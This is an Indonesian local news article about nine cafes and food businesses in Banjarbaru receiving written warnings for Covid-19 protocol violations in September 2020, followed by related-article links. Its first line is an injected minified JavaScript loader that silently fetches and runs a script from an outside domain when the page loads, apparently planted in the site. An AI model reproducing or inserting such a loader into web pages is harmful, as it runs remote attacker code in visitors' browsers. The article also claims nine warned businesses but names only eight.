(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sedikitnya 9 cafe dan tempat usaha makan minuman di wilayah Banjarbaru mendapat teguran aparat. Pasalnya, di tengah pandemi Covid-19 para pengelola cafe dan tempat makan minum di kota berjuluk Idaman kedapatan melanggar protokol kesehatan.
Teguran itu disampaikan jajaran Polres Banjarbaru saat melaksanakan operasi yustisi penegakan disiplin protokol kesehatan di Kota Banjarbaru pada Sabtu (26/9/2020) malam.
Upaya pendisiplinan protokol kesehatan dilakukan petugas gabungan TNI, Polri dan Satpol PP Kota Banjarbaru dengan memberikan tindakan tegas kepada para pelanggar protokol kesehatan sebagaimana Peraturan Walikota Banjarbaru Nomor 27 tahun 2020.
Tim gabungan secara masif terus melakukan peninjauan kepada para pemilik usaha kuliner, cafe dan tempat hiburan apakah sudah sesuai standar dalam menjalankan protokol kesehatan di tempat usaha.
Kasat Reskrim Polres Banjarbaru AKP Aryansyah mengatakan dari hasil pelaksanaan operasi yustisi dengan sasaran para pemilik usaha kuliner, cafe dan tempat hiburan masih banyak yang abai dalam melaksanakan protokol kesehatan Covid-19.
“Kami telah memberikan edukasi dan meminta para pelaku usaha bertanggung jawab dan peduli dengan kesehatan pengunjungnya,” tegasnya.
Ada 9 tempat usaha yang mendapat teguran tertulis dari Tim Penegak Kesehatan Protokol Kesehatan Kota Banjarbaru
Adapun 9 tempat usaha yang mendapat teguran tertulis dari tim yakni Cafe Karindangan di jalan Trikora, Indomaret Bundaran Palam, usaha Angkringan di jalan Trikora, Cafe Tuska di ialan Panglima Batur Timur Kota Banjarbaru., Cafe D’Tonz di Sungai Ulin Kota Banjarbaru, Karaoke Viera di jalan Panglima Batur Timur Kota Banjarbaru, Kopi Besi di Al Azhar Kota Banjarbaru, pedagang makanan yang ada di sekitar lapangan Murjani Kota Banjarbaru.
“Jika pelaku usaha tidak mengevaluasi dan tidak peduli dengan pengunjung atau tidak mengutamakan langkah-langkah protokol kesehatan di tempat usahanya, maka dengan koordinasi bersama dinas terkait akan ada sanksi penghentian sementara operasional usaha, hingga pencabutan izin usaha bisa dilakukan, sebagaimana yang tertuang dalam Perwali Nomor 27 Tahun 2020 , Pasal (7) ayat (2) huruf (b) mengenai sanksi pelanggaran penerapan protokol kesehatan bagi pelaku usaha, pengelola, penyelenggara atau penanggung jawab tempat dan fasilitas umum,” beber Kasat Reskrim Polres Banjarbaru.
“Kami berharap para pelaku usaha dan para pengunjung dapat benar-benar disiplin protokol kesehatan dengan menggunakan masker, mencuci tangan dengan sabun, hand sanitizer, menjaga jarak dan tidak berkerumun dengan tujuan menekan angka penyebaran Covid-19 di Kota Banjarbaru,” pungkasnya. (kanalkalimantan.com/wahyu)
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
This website uses cookies.